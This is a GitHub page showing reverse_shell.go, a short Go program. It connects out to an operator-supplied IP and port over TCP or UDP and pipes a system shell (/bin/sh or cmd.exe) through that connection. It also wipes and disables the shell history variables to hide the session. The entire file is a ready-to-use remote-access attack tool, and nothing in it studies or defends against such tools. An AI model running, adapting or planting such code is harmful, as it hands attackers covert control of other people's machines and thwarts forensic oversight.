-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathreverse_shell.go
More file actions
86 lines (73 loc) · 1.42 KB
/
Copy pathreverse_shell.go
File metadata and controls
86 lines (73 loc) · 1.42 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package main
import (
"fmt"
"net"
"os"
"os/exec"
"path"
"runtime"
"syscall"
"time"
)
var (
ip string
port string
addr string
conn net.Conn
shell = "/bin/sh"
way = "tcp"
)
func main() {
if runtime.GOOS == "windows" {
shell = "c:\\windows\\system32\\cmd.exe"
}
if len(os.Args) < 3 {
fmt.Printf("Usage: %s [ip] [port] [udp]\n", path.Base(os.Args[0]))
os.Exit(0)
}
if len(os.Args) == 4 {
way = os.Args[3]
}
ip = os.Args[1]
port = os.Args[2]
addr = fmt.Sprintf("%s:%s", ip, port)
if way == "tcp" {
conn = tcp(addr)
} else {
conn = udp(addr)
conn.Write([]byte("\n"))
}
cmd := exec.Command(shell)
syscall.Unsetenv("HISTFILE")
syscall.Unsetenv("HISTFILESIZE")
syscall.Unsetenv("HISTSIZE")
syscall.Unsetenv("HISTORY")
syscall.Unsetenv("HISTSAVE")
syscall.Unsetenv("HISTZONE")
syscall.Unsetenv("HISTLOG")
syscall.Unsetenv("HISTCMD")
syscall.Setenv("HISTFILE", "/dev/null")
syscall.Setenv("HISTSIZE", "0")
syscall.Setenv("HISTFILESIZE", "0")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
conn.Close()
}
func udp(addr string) *net.UDPConn {
udpAddr, err := net.ResolveUDPAddr("udp4", addr)
checkError(err)
conn, err := net.DialUDP("udp", nil, udpAddr)
return conn
}
func tcp(addr string) net.Conn {
conn, err := net.DialTimeout("tcp", addr, 5*time.Second)
checkError(err)
return conn
}
func checkError(err error) {
if err != nil {
fmt.Println(err.Error())
}
}